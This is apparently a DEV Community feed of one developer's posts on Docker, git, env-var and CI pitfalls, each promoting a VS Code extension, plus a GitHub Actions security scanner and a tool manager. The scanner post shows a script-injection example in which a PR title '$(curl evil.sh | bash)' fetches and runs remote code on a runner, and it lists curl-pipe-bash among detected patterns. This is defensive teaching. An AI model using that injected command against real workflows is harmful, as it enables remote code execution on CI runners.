DEV Community: TANK JAY

docker compose depends_on does not wait for your database: fix "connection refused" on startup with healthchecks

TANK JAY — Mon, 19 Oct 2026 03:21:16 +0000

api-1  | Error: connect ECONNREFUSED 172.18.0.2:5432
api-1 exited with code 1
db-1   | LOG:  database system is ready to accept connections

The app died one line before Postgres was ready. Run docker compose up again and it works. Your compose file says depends_on: [db], so what happened?

depends_on waits for "running", not "ready"

The list form of depends_on means condition: service_started. Compose starts db, sees the container running, starts your app. Meanwhile Postgres is still running initdb and your init scripts. The Docker docs say it directly: Compose waits for running, not ready.

The trap: service_healthy with no healthcheck

So you switch to condition: service_healthy. But the official postgres, mysql, mongo, redis and rabbitmq images define no HEALTHCHECK (on purpose). Without a healthcheck: in compose, startup fails with "has no healthcheck configured" or "container is unhealthy" instead of waiting.

The fix

services:
  api:
    build: .
    depends_on:
      db:
        condition: service_healthy
  db:
    image: postgres:16
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -h 127.0.0.1 -U $${POSTGRES_USER:-postgres}"]
      interval: 5s
      timeout: 5s
      retries: 10
      start_period: 30s

$$ stops Compose interpolating the variable on your host. start_period keeps a slow first boot from burning your retries. And keep a connection retry in the app anyway: databases restart in production too.

Flag it in the editor

I built ReadyWait, a free VS Code extension that checks every compose file in the workspace:

RW001 short-form depends_on / service_started on postgres, mysql, redis, kafka, rabbitmq and other slow services
RW002 service_healthy on a service with no (or a disabled) healthcheck
RW003 no start_period, or timeout longer than interval
RW004 service_completed_successfully on a restart: always service

One-click fixes convert depends_on to long form and insert pg_isready, mysqladmin ping, redis-cli ping, rabbitmq-diagnostics and similar probes where the tool ships in the official image. Override files and local Dockerfile HEALTHCHECKs count. Fully static: no network, no telemetry, no docker calls. It cannot see a HEALTHCHECK baked into a registry image, and it does not follow YAML anchors or include:.

code --install-extension jaytankdev.readywait

Source (MIT): github.com/jay-tank/readywait

Full write-up (why startup races happen, every healthcheck command, limitations, FAQ): docker compose depends_on does not wait for your database

You renamed a file and CI broke: find broken paths in package.json, Dockerfile COPY and GitHub Actions

TANK JAY — Fri, 16 Oct 2026 03:30:44 +0000

You move scripts/start.sh to tools/start.sh. VS Code updates the imports, the tests pass, you push. Then CI fails with COPY failed: file not found in build context, because the Dockerfile still says COPY scripts/start.sh.

Refactoring tools update paths in code. Paths in config files are plain strings, and nothing checks them until a build, a release or GitHub's review assignment finally uses them.

Where the stale strings hide

File	Breaks as
`package.json` `main`, `bin`, `exports`, `files`	A published package that points at nothing (reanimated#3026)
Dockerfile `COPY` / `ADD`	`COPY failed: file not found in build context` (next.js #33338)
Workflow `run:` / `working-directory`	`No such file or directory` in a step
`tsconfig.json` `extends` / `references`	A type check that fails far from the rename
`CODEOWNERS`	Nothing fails: a moved folder just matches no files, so no one is asked to review

The manual check

git grep -n "scripts/start.sh"
git grep -n "scripts/" -- '*.json' '*.yml' '*.yaml' 'Dockerfile*' CODEOWNERS

Then run docker build with the same context as CI and npm pack --dry-run. It works, but only for the string you remembered to search for.

Catch it in the editor

I built PathMend, a free VS Code extension that checks file paths in package.json, tsconfig, Dockerfiles, Compose, GitHub Actions, .gitlab-ci.yml, CODEOWNERS and launch.json, and underlines the exact string when the file is missing (rules PM001 - PM011).

"Did you mean ...?" Quick Fix finds the moved file (same name in another folder) or a close spelling.
Rename in VS Code and it asks: 3 config references still point to scripts - update all? with Update all, Preview and Ignore.
COPY sources are resolved against the Compose build context, and escapes out of it are flagged.
Skips $VAR, ${{ }}, COPY --from, URLs and build output folders like dist/ and your tsconfig outDir.

No network, no telemetry, no child processes. It only checks whether paths exist inside the workspace, so it also works in untrusted workspaces. It does not read build contexts passed on the command line, does not apply .dockerignore, and a git mv in the terminal shows up as broken references rather than a rename prompt.

It gets its own activity bar icon with a badge, and a Broken References panel listing each broken path with a one-click fix.

code --install-extension jaytankdev.pathmend

Source (MIT): github.com/jay-tank/pathmend

Full write-up (every file and rule, the build context logic, limitations, FAQ): You renamed a file and CI broke

Bind for 0.0.0.0:5432 failed: port is already allocated - find port clashes before you run docker compose up

TANK JAY — Mon, 12 Oct 2026 03:27:32 +0000

docker compose up -d, and one container stays down:

Bind for 0.0.0.0:5432 failed: port is already allocated

Then npm run dev adds its own version:

Error: listen EADDRINUSE: address already in use :::3000

Same problem both times: two things want one host port. And most of the time both of them are already written in the repo. Two compose services copied from one snippet, both "5432:5432". An API published on ${API_PORT:-8080} with API_PORT=3000 in .env, next to a next dev that defaults to 3000.

The usual causes

Two services or two compose projects publish the same host port
Another checkout's containers are still running
A local Postgres/Redis already listens, or on a Mac, AirPlay Receiver holds 5000 and 7000
Framework defaults collide: Next/Nuxt 3000, Vite 5173, Django/uvicorn 8000, Flask 5000
A .env DB_PORT is the port you connect to, so changing it does not move the binding (dify#14442)

Vite is sneakier: without server.strictPort it just moves to 5174, and your OAuth callback breaks with no port error at all.

Fix it by hand

ss -ltnp 'sport = :5432'                  # Linux
lsof -nP -iTCP:5432 -sTCP:LISTEN          # macOS
docker ps --filter publish=5432           # another project's container?

Then stop the stale project, move one host port ("127.0.0.1:5433:5432", the container side stays the same), or drop ports: if only other containers talk to it. The 127.0.0.1 matters: a bare "5432:5432" listens on every interface.

Catch it before anything runs

I built PortClash, a free VS Code extension that reads every declared port in your workspace (compose with .env interpolation, .env*, package.json scripts, Vite/Next/Nuxt/Angular/Astro/Django/Flask/uvicorn defaults, devcontainer.json, launch.json, Kubernetes) and lines them up:

PC001 (Error): two different sources bind the same host port
PC002: port 5000/7000 (AirPlay) or a privileged port for a dev server
PC003 (Warning): a compose database published on 0.0.0.0
PC004: a process.env.PORT || 3000 fallback that disagrees with .env / compose
PC005 (opt-in): a declared port is already in use on this machine

The status bar shows Ports: 9 · 1 clash, and Find Free Port Near... suggests a port nobody in the repo claims. It works in a fresh clone with nothing running. No telemetry, no network, no child processes. It is static and best-effort: runtime-computed ports and compose profiles are not evaluated.

It gets its own activity bar icon with a badge, and a Ports panel listing each port and the lines that claim it.

code --install-extension jaytankdev.portclash

Source (MIT): github.com/jay-tank/portclash

Full write-up (every source it reads, the manual fixes, limitations, FAQ): Bind for 0.0.0.0:5432 failed: port is already allocated - find port clashes before you run docker compose up

exec /entrypoint.sh: no such file or directory? Fix CRLF line endings, shebangs and chmod before Docker runs

TANK JAY — Fri, 09 Oct 2026 03:32:22 +0000

The image builds, the container exits instantly, and the log says:

exec /entrypoint.sh: no such file or directory

ls -l /entrypoint.sh inside the image shows the file right there. So what is missing?

The kernel reads your first line

For a script, execve() reads the #! line and runs the interpreter it names. Four invisible problems break that step:

In the file	The kernel sees	You get
CRLF line endings	interpreter `/bin/sh\r`	`no such file or directory`
`#!/usr/bin/env bash` + CRLF	a program called `bash\r`	`/usr/bin/env: 'bash\r': No such file or directory`
No shebang, or a UTF-8 BOM before it	no `#!` at all	`exec format error`
Git mode `100644`	a non-executable file	`permission denied`

The missing file is the interpreter, but the message names your script. The usual source is a Windows checkout with core.autocrlf=true: docker build sends that CRLF working tree, and COPY puts it in the image (real example, Moby's request for a better error).

Fix it by hand

file entrypoint.sh               # "with CRLF line terminators"?
git ls-files -s entrypoint.sh    # 100644 = not executable

sed -i 's/\r$//' entrypoint.sh
echo '*.sh text eol=lf' >> .gitattributes && git add --renormalize .
git update-index --chmod=+x entrypoint.sh

The .gitattributes rule is the part that stops it coming back.

Catch it in the editor

I built EntryCheck, a free VS Code extension that follows Dockerfile ENTRYPOINT/CMD/RUN (through COPY and WORKDIR), compose entrypoint/command, GitHub Actions run:, GitLab CI script:, package.json scripts and Husky hooks to the scripts they execute, and flags:

EC001 CRLF line endings (Quick Fix: convert to LF, or add the .gitattributes rule)
EC002 missing or non-absolute shebang on a directly executed script
EC003 UTF-8 BOM before the shebang (Quick Fix: strip it)
EC004 mode 100644 in git, unless the Dockerfile already does chmod +x or COPY --chmod=755
EC005 no .gitattributes eol rule for *.sh

The diagnostic lands on the line that launches the script, and a Failing scripts panel in the activity bar lists every problem by script name with one-click fixes. No network, no telemetry, and the git check only runs in trusted workspaces. It does not check that the interpreter exists in your image (#!/bin/bash on Alpine still fails), and it does not follow compose build.context or variable paths.

code --install-extension jaytankdev.entrycheck

Source (MIT): github.com/jay-tank/entrycheck

Full write-up (every error explained, the BOM fix, how it resolves container paths, limitations, FAQ): exec /entrypoint.sh: no such file or directory? Fix CRLF, shebangs and chmod

The "DB_PASSWORD" variable is not set. Defaulting to a blank string: fixing unset ${VAR} in Docker Compose

TANK JAY — Wed, 07 Oct 2026 03:26:40 +0000

WARN[0000] The "DB_PASSWORD" variable is not set. Defaulting to a blank string.

Compose prints that, then starts the stack anyway. The database exits, or the app connects with an empty password, and you only find the yellow line by scrolling back up. The frustrating part: DB_PASSWORD is right there in app.env, which the service loads with env_file:.

Two stages, two sets of files

Interpolation happens on your machine when Compose reads the YAML. ${VAR} and $VAR are filled from your shell, --env-file, or the project .env next to the compose file. Nothing else. If a variable is missing and has no default, it becomes "" with a warning.

Container environment comes later. env_file: and environment: decide what the process inside the container sees. app.env is read here, so it can never fill a ${...} in the compose file.

Two more traps from the same root cause:

environment: [DEBUG] with nothing set on the host is silently dropped, no warning.
command: sh -c 'echo $CACHE_DIR' is interpolated from your laptop while the file loads. Quotes are just YAML text. Write $$CACHE_DIR if the container should expand it.

The request to make this fail by default is years old: docker/compose#5505.

The fix

# require it: Compose stops with an error instead of a blank
POSTGRES_PASSWORD: ${DB_PASSWORD:?DB_PASSWORD is required}

Put interpolation variables in the project .env, escape container-side ones as $$, and never commit ${DB_PASSWORD:-hunter2}. docker compose config shows the result, but only when you run it, and it prints secrets in clear text.

Catch it in the editor

I built ComposeVars, a free VS Code extension that reads your compose files and the env files Compose would read (.env, include: env files, and --env-file / COMPOSE_ENV_FILES found in package.json, Makefile or justfile). Six rules, CV001 to CV006: unset variables, .env keys nothing uses, pass-through env that is not set, missing env_file paths, host-side $VAR in commands, and committed secret defaults. Quick Fixes add :?, :-, $$ or an .env.example entry, and hovering a variable shows where its value comes from.

Secret-looking values are always masked, files outside the workspace are never read, and there is no network or telemetry. It cannot see your shell, so a variable you always export needs to go in composeVars.ignoreVariables.

It gets its own activity bar icon with a badge, and a Findings panel listing each problem by variable name, with inline Quick Fixes.

code --install-extension jaytankdev.composevars

Source (MIT): github.com/jay-tank/composevars

Full write-up (every rule, the interpolation syntax, limitations, FAQ): The "DB_PASSWORD" variable is not set. Defaulting to a blank string

DEBUG=false but my app still runs in debug mode: why an environment variable "false" is true

TANK JAY — Fri, 02 Oct 2026 03:47:39 +0000

You put DEBUG=false in .env, restart, and the app is still in debug mode. If you have searched "environment variable false is true" or "os.getenv boolean", here is the whole explanation: an environment variable is always a string, and "false" is a non-empty string, so it is truthy. Python's os.getenv, Node's process.env and Vite's import.meta.env all hand you text, never a bool or a number.

DEBUG = bool(os.getenv("DEBUG"))      # True for DEBUG=false
WORKERS = int(os.getenv("WORKERS"))   # TypeError when WORKERS is unset

if (process.env.FEATURE_BETA) enableBeta();  // runs for FEATURE_BETA=false
const next = process.env.PORT + 1;            // "30001", not 3001

(A made-up example, but the same bug as the Django forum thread "ENV variables can never seem to be False" and python-dotenv #291.)

The traps

Truthiness: if os.getenv("DEBUG"):, !!process.env.FLAG, bool(...): true for "false", "0" and "no".
Boolean literals: process.env.FLAG === true and os.getenv("X") == True are always false.
Numbers: "3000" + 1 is "30001" in JS; in Python os.getenv("PORT") + 1 raises TypeError.
Unset values: int(os.getenv("X")) and JSON.parse(process.env.X) crash when X is missing.
Mixed defaults: os.environ.get("RETRIES", 3) is a str when set and an int when not.

The fix

Read a string, convert once:

DEBUG = os.getenv("DEBUG", "").strip().lower() in ("1", "true", "yes", "on")
WORKERS = int(os.getenv("WORKERS", "4"))

const debug = ["1", "true", "yes", "on"].includes((process.env.DEBUG ?? "").trim().toLowerCase());
const port = Number(process.env.PORT ?? "3000");

Defaults should be strings too, so there is only ever one type to convert. Presence checks such as if not os.getenv("API_KEY"): raise are fine. Only flags need parsing.

A linter for it in VS Code

I built EnvTruth, a free VS Code extension for Python and JS/TS. Five rules (ET001 to ET005) cover the traps above, and each finding has a Quick Fix that writes the parse for you. Run on the snippet above, it reports DEBUG is a string, so "false", "0" and "no" are all truthy and "PORT + 1" concatenates ("3000" + 1 is "30001") instead of adding.

It has its own activity bar icon with a badge and an Env checks panel grouped by file, and hovering an env read shows where the variable is defined (.env, compose, Kubernetes) with secrets masked. It skips presence checks on names like API_KEY and DATABASE_URL, and treats any variable your .env sets to true/false/0/1 as a flag. No network, no telemetry, and it never runs a process.

code --install-extension jaytankdev.envtruth

Source (MIT): github.com/jay-tank/envtruth

Full write-up (why env vars are strings in Python, Node and Vite, the number-trap table, all five rules, limitations, FAQ): DEBUG=false but my app still runs in debug mode

How to fix package-lock.json merge conflicts (and yarn.lock, poetry.lock, go.sum) the right way

TANK JAY — Thu, 01 Oct 2026 03:35:05 +0000

You rebase on main and git stops:

CONFLICT (content): Merge conflict in package-lock.json

The usual reflexes are all wrong:

Hand-editing the markers away gives you a dependency tree no resolver would produce.
"Accept Both Changes" leaves duplicate JSON keys or invalid TOML/YAML.
Accepting one side looks fine, but the other branch's new dependencies are silently missing from the lock.

The rule

A lockfile is a build output of the manifest. So:

Resolve the manifest (package.json, pyproject.toml, Cargo.toml, go.mod...) by hand.
Give the tool a lockfile it can read.
Let the tool regenerate the lock.

npm, Yarn and pnpm can read a conflicted lockfile and merge both sides themselves. The others need one clean side first: git checkout --ours -- <lockfile>.

The command table

Lockfile	Start from	Regenerate with
`package-lock.json`	conflicted file	`npm install --package-lock-only --ignore-scripts`
`yarn.lock` (v1)	conflicted file	`yarn install --ignore-scripts`
`yarn.lock` (berry)	conflicted file	`yarn install --mode=update-lockfile`
`pnpm-lock.yaml`	conflicted file	`pnpm install --lockfile-only --ignore-scripts`
`poetry.lock`	`--ours`	`poetry lock` (Poetry 2) / `poetry lock --no-update` (Poetry 1)
`uv.lock`	`--ours`	`uv lock`
`Cargo.lock`	`--ours`	`cargo update --workspace`
`go.sum`	`--ours`	`go mod tidy`
`composer.lock`	`--ours`	`composer update --lock --no-install --no-scripts`
`Gemfile.lock`	`--ours`	`bundle lock`
`Pipfile.lock`	`--ours`	`pipenv lock`

Two gotchas: during a rebase, --ours is the branch you rebase onto, not yours. And for Cargo, skip cargo generate-lockfile: it upgrades everything, which turns a merge into an upgrade.

--ignore-scripts is a deliberate choice: you are regenerating a lockfile, not building, so there is no reason to run install scripts from packages you have not reviewed.

One click in VS Code

I built LockSettle, a free VS Code extension that runs this routine for you. It flags conflicted lockfiles (ten types, monorepos included), refuses and opens the manifest if that is still conflicted, shows you the exact command in a confirmation dialog, runs it as a visible task in the right folder, then checks for leftover markers and offers to stage the file. Every command is overridable. No network, no telemetry, nothing runs in an untrusted workspace.

It also gets its own activity bar icon with a badge, and a Conflicted lockfiles panel with Regenerate and Open manifest buttons.

code --install-extension jaytankdev.locksettle

Source (MIT): github.com/jay-tank/locksettle

Full write-up (why each tool differs, Yarn berry and Poetry 2 details, safety design, FAQ): How to fix package-lock.json merge conflicts the right way

Your app broke after git pull? The after-pull checklist every team forgets

TANK JAY — Wed, 30 Sep 2026 03:37:04 +0000

You pull, start the app, and get Cannot find module 'zod'. You reinstall. Now it is relation "invoice_lines" does not exist. You migrate. Then a crash because STRIPE_WEBHOOK_SECRET is undefined, since someone added it to .env.example and your .env never got it.

The pulled code was fine every time. Your environment fell behind: git updates the files that describe it (lockfiles, migrations, .env.example, Dockerfiles, .nvmrc), but not the installed packages, database, .env or containers they describe.

The checklist

After a pull, merge or checkout, diff the old HEAD against the new one and look for:

Changed	Run
`package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`	`npm ci`, `yarn install --frozen-lockfile`, `pnpm install --frozen-lockfile`
`poetry.lock`, `uv.lock`, `requirements*.txt`	`poetry install`, `uv sync`, `pip install -r ...`
New files in `migrations/`, `db/migrate/`, `alembic/versions/`	your framework's migrate command
New keys in `.env.example`	add them to `.env`
`Dockerfile`, `compose.yml`	`docker compose up -d --build`
`.nvmrc`, `.tool-versions`	switch versions
`.gitmodules`, `.terraform.lock.hcl`	`git submodule update --init --recursive`, `terraform init`

Two details save time. Use npm ci, not npm install, after someone else changed the lockfile: it installs exactly what the lockfile says. And a package.json change that only touches scripts needs no reinstall at all.

Why hooks do not cover it

A post-merge hook can reinstall for you, but hooks are not cloned (every developer installs them by hand), post-merge does not fire on checkout, and they run commands without asking.

Let the editor build the list

I built AfterPull, a free VS Code extension that watches HEAD in every repo in your workspace. When it moves, it diffs old vs new and shows AfterPull: 3 things to do after this pull, with a panel of chores: dependencies in twelve package managers, new migrations, missing .env keys (one click appends them, existing keys untouched), container rebuilds, toolchain changes, submodules and Terraform. It is monorepo-aware and each command runs in its own folder.

Nothing runs on its own: each command starts as a visible task after your click, and "Run all" lists every command first. Your own commits are skipped. No network, no telemetry.

code --install-extension jaytankdev.afterpull

Source (MIT): github.com/jay-tank/afterpull

Full write-up (the full checklist, why hooks leak, prior art, limitations, FAQ): Your app broke after git pull? The after-pull checklist every team forgets

Stop committing .env files, node_modules and it.only: check your staged changes before you press Commit

TANK JAY — Tue, 29 Sep 2026 03:31:14 +0000

You stage everything with one click, type "fix login redirect", commit, push. The next morning the pull request has 4,812 changed files. Or six, and one of them is .env. Or CI is green because you left it.only( in a spec and the other 400 tests never ran.

None of this is hard. It is just that nothing looked at the git index before the commit happened.

The usual suspects

Staged by accident	Why it hurts
`.env`, `*.pem`, `id_rsa`, `credentials.json`	A pushed secret is a leaked secret: rotate it
Tokens in `.npmrc` / `.pypirc`, `*.tfstate`	Publish tokens and plain-text infra secrets
`dump.sql`, big binaries	Every clone carries them forever
`node_modules/`, `dist/`, `.DS_Store`	Thousands of files of review noise
`<<<<<<<` markers, `debugger;`	Broken or frozen code
`it.only(`, `fdescribe(`	The file reports PASS, the rest never runs

This is not only a side-project problem: Toyota disclosed in 2022 that a data-server access key had sat in a public GitHub repo for almost five years (BleepingComputer).

Why hooks are not enough on their own

.gitignore only helps if the pattern exists before you stage, and it cannot see content. Pre-commit hooks are the right gate for teams, but they live in each clone and need setup in every repository. Most repositories you touch in a week do not have one.

Already committed it?

git restore --staged .env          # still only staged
git rm --cached .env && echo ".env" >> .gitignore
git commit --amend --no-edit       # committed, not pushed

If it was pushed: rotate the secret first, then clean history with git filter-repo.

Catch it while it is staged

I built CommitSieve, a free VS Code extension that checks the staged changes of every repository in your workspace, live, with zero setup. The status bar shows CommitSieve: 3 issues the moment you stage something, each finding has Unstage and Add to .gitignore buttons, and content findings land in the Problems panel.

It only looks at lines your staged diff adds, leaves directories that already exist in HEAD alone, and knows that model.fit( is not a focused test. No network, no telemetry, hardened git calls. It warns rather than blocks (VS Code has no commit hook API), so keep a hook or CI scanner as the hard gate.

code --install-extension jaytankdev.commitsieve

Source (MIT): github.com/jay-tank/commitsieve

Full write-up (all 13 rules, cleanup for every case, limitations, FAQ): Stop committing .env files, node_modules and it.only

One console.log disconnects your MCP server: the stdout bug every stdio server author hits

TANK JAY — Mon, 28 Sep 2026 03:46:40 +0000

You add a tool to your MCP server, restart the client, and instead of an answer you get:

MCP error -32000: Connection closed

Nine times out of ten, the cause is one debug line:

server.registerTool("add", { /* ... */ }, async ({ a, b }) => {
  console.log("adding numbers", a, b);   // <- this disconnects the client
  return { content: [{ type: "text", text: String(a + b) }] };
});

Why it breaks

With the stdio transport, the client talks to your server through its stdin and stdout. Every byte on stdout is parsed as the next JSON-RPC message. The MCP spec says it plainly: the server must not write anything to stdout that is not a valid MCP message. Your log line lands in the middle of the stream, parsing fails, and the client drops the connection.

Logging to stderr is allowed and safe.

The fix

Instead of	Use
`console.log(x)`	`console.error(x)`
`process.stdout.write(s)`	`process.stderr.write(s)`
`print(x)`	`print(x, file=sys.stderr)`
`pino()`	`pino({}, pino.destination(2))`
`logging.basicConfig(stream=sys.stdout)`	leave `stream` out (stderr is the default)

Why it keeps shipping

Running the server by hand in a terminal looks fine, so a quick test passes.
The write is often in a helper module the server imports, not in the server file.
console.info and console.debug also go to stdout, and so do pino and winston's Console transport by default.

Real examples: esp-idf#19087, repomix#1866, keycloak-mcp#6.

Catch it in the editor

I built StdioLint, a free VS Code extension that flags stdout writes in stdio MCP servers (JS, TS and Python) as you type. It follows the modules your server imports, ignores HTTP/SSE servers and ordinary scripts, and its Quick Fix moves the output to stderr instead of deleting it. No network, no telemetry.

code --install-extension jaytankdev.stdiolint

Source (MIT): github.com/jay-tank/stdiolint

Full write-up (all four rules, Python/FastMCP examples, what ESLint no-console misses, FAQ): One console.log disconnects your MCP server

I wanted a zero-config Actions security scanner, so I built one: actionward

TANK JAY — Tue, 08 Sep 2026 05:02:01 +0000

Most of my GitHub Actions workflows are three steps long. They still manage to
be one of the softest spots in a repo: a stray ${{ github.event.* }} in a
run: block, a token with write-all, an action pinned to a mutable tag. The
tools that catch this stuff tend to be heavy - org-scoped policy engines, a
SaaS dashboard, something that wants a token and a network round-trip before it
tells me anything.

I just wanted a binary I could drop into any repo and run offline. No account,
no config, no credentials leaving my laptop. That itch became actionward.

This is the fast, hands-on tour: install it, run it, read a real finding, fix
two concrete vulnerabilities, then wire it into CI.

What it is (in one breath)

actionward is a single Go binary that statically analyzes the workflow files
under .github/workflows/. It makes no network calls and reads no
credentials. It ships 14 rules and, for each finding, tells you why it
matters and how to fix it. Output is text, JSON, or SARIF v2.1.0 for
GitHub code-scanning.

Install and run

git clone https://github.com/jay-tank/actionward
cd actionward
go build -o actionward ./cmd/actionward

# scan the current repo
./actionward scan .

That's the whole setup. Point it at a directory (or a single workflow file) and
it prints findings. Here's the shape of a real one:

HIGH  script-injection  .github/workflows/pr.yml:14
  Untrusted input `github.event.pull_request.title` is interpolated directly
  into a run script and can execute arbitrary shell.
  Fix: pass the value through an `env:` block and reference it as "$TITLE".

Rationale plus remediation, right in the output. Now let's actually fix things.

Fix #1 - script injection

The classic. You interpolate an attacker-controllable field straight into a
shell command:

# BEFORE - actionward: HIGH script-injection
- name: Greet
  run: echo "Thanks for the PR: ${{ github.event.pull_request.title }}"

A PR title of $(curl evil.sh | bash) runs on your runner. The fix is to move
the value into the environment, where the shell treats it as data, not code:

# AFTER - clean
- name: Greet
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Thanks for the PR: $TITLE"

actionward also flags the sneakier variant of this rule: writing untrusted
input into $GITHUB_ENV, which can smuggle values into later steps.

Fix #2 - least privilege for the token

By default a lot of workflows inherit a broad GITHUB_TOKEN. This one asks for
everything:

# BEFORE - actionward: HIGH write-all-permissions
permissions: write-all

jobs:
  build:
    runs-on: ubuntu-latest

If any step is compromised, so is your whole repo. Scope it down to exactly what
the job needs:

# AFTER - least privilege
permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest

The permissions rules also cover unscoped tokens and risky OIDC configurations -
same principle, grant the minimum.

Fix #3 - pin your actions

Referencing an action by a moving tag means whatever @v4 points to today can
change under you tomorrow:

# BEFORE - actionward: MEDIUM unpinned-action
- uses: actions/checkout@v4

Pin to an immutable commit SHA (a full-length pin is the safe form):

# AFTER - pinned
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Other rules in the set worth knowing about: risky checkouts under
pull_request_target / workflow_run, cache poisoning, curl | bash, secrets
hardcoded in run:, secrets leaking through uploaded artifacts, self-hosted
runners on public repos, and continue-on-error slapped on a security step so
it never actually blocks anything.

Wire it into CI

The real payoff is failing a PR before the risky workflow merges. actionward
ships a composite Action that emits SARIF, so findings show up in the repo's
Security → Code scanning tab:

name: actionward
on: [pull_request]

permissions:
  contents: read
  security-events: write   # needed to upload SARIF

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: jay-tank/actionward@v0.1.0
        with:
          format: sarif
          output: actionward.sarif
      - uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: actionward.sarif

Prefer to keep it lean? Build the binary in the job and run actionward scan .
directly - same result, one fewer moving part.

Adopting it in an existing repo

Turning a scanner on for a repo that already has a dozen findings is how
scanners get ignored. actionward has a --baseline mode for exactly this: it
records today's findings and then only gates on new ones, so your build goes
green immediately and you burn down the backlog on your own schedule.

# record current findings once, commit the baseline
./actionward scan . --baseline .actionward-baseline.json

# later runs fail only on findings not in the baseline
./actionward scan . --baseline .actionward-baseline.json

For the handful of findings you've reviewed and consciously accept, there's a
project-level .actionward.yml config and an inline # actionward:ignore
comment for a single line. No editing source to silence a rule globally when you
only meant to accept one case.

Where it's going

v0.1.0 is deliberately small: scan, explain, gate - offline. On the roadmap are
an auto-fix mode (apply the env: rewrite for you) and SHA pinning
assistance so the fixes above become one command instead of a manual edit. Those
aren't shipped yet; the 14 rules and SARIF output are.

Try it

Repo: https://github.com/jay-tank/actionward - clone, go build, scan .,
and see what your workflows have been hiding.

If you want the background on why each rule exists, GitHub's own
security hardening for GitHub Actions
is the canonical reference and pairs well with running the scanner.

Jay Tank

I built Devkeg: a desktop control center for your dev tools

TANK JAY — Wed, 29 Jul 2026 04:01:57 +0000

Setting up a fresh developer machine is death by a thousand commands. You hunt down install
instructions, juggle apt, dnf, pacman, brew, and curl | bash, patch your PATH, and then
spend the next six months quietly fighting version drift. There's no single, friendly place that just
tells you what's installed, what's outdated, and how to fix it.

So I built one. It's called Devkeg — a desktop app that detects, installs, updates, and
uninstalls your developer and DevOps tools from one clean UI.

TL;DR — Devkeg is a Linux desktop app (Tauri + Rust + SvelteKit) that puts a GUI on top of
proven package managers (mise + your distro's) instead of reinventing installers. Open source:
https://github.com/jay-tank/devkeg.

The problem: your toolchain has no dashboard

Every other part of your stack has a dashboard — your cloud bill, your CI, your observability. But
the tools on your own machine live in a fog. Which are installed? Which are behind? The CLI tools
that manage this (mise, asdf, distro managers) are powerful but CLI-only and fragmented. There's
no visual control center. That's the gap Devkeg fills.

The one decision that shaped everything: orchestrate, don't reinvent

The tempting mistake is to write your own installers for 20+ tools — a bottomless pit of edge cases,
and every line a way to break someone's machine. Devkeg does the opposite. It's an orchestration
layer over proven backends: mise for languages/runtimes/tools in user
space, and your distro's package manager for system packages. Devkeg's job is the experience — not
reimplementing what mise and apt already do well. Every install path we don't write is a bug our
users can't hit.

Architecture

Adding a new tool doesn't touch the core — it's just a small TOML file (data, not code):

# registry/kubectl.toml
name        = "kubectl"
category    = "container"
detect_cmd  = "kubectl"
detect_args = ["version", "--client"]
backend     = "distro"

Why Tauri instead of Electron

The UI is web tech, so Electron was the obvious default. I didn't use it. For a developer tool,
footprint is a feature: a comparable Electron app ships ~120 MB and idles at 200 MB+ RAM; the
equivalent Tauri build is a ~4 MB binary on the system WebView. Shipping a bloated app to
manage other apps would be a bad look — and Tauri's Rust core gives safe subprocess handling for free.

Reliability: the boring guarantees that matter

User-space first. Prefer mise (installs to ~/.local) so most actions need no root. When elevation is genuinely required, prompt explicitly via pkexec — never silently sudo.
Verify everything. After each install/update, Devkeg re-detects the tool and confirms it runs, returning a structured result. No silent half-installs.
Correct root detection. The elevation decision uses the real effective UID (geteuid()), not brittle environment guesses.

A lesson that cost me a rebuild: the glibc trap

I built the .deb on Ubuntu 24.04, it worked in my container, then refused to launch on Ubuntu 22.04:

devkeg: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.39' not found

glibc is forward-compatible, not backward — a binary built against 24.04's glibc (2.39) can't run
on 22.04's (2.35). The rule:

Build release binaries on the oldest distro you intend to support.

I moved the release build to Ubuntu 22.04 and pinned it in CI (runs-on: ubuntu-22.04) so the mistake
can't return.

Packaging and CI

Devkeg ships as a .deb and an AppImage, built by GitHub Actions. A v* tag triggers a
workflow that builds both on Ubuntu 22.04 and attaches them to the GitHub Release. Third-party actions
are pinned to commit SHAs.

What's next

v0.1 is the "control center": detect + install/update/uninstall across ~17 tools. Next up: environment
profiles with export/import, health checks and recommendations, a community plugin registry, then
macOS (the backends are already OS-isolated).

Try it

Devkeg is open source (MIT). Grab the .deb or AppImage from the releases page, or read the code:
https://github.com/jay-tank/devkeg. If you build developer tools, I'd love feedback on the
"orchestrate, don't reinvent" bet the whole project rests on.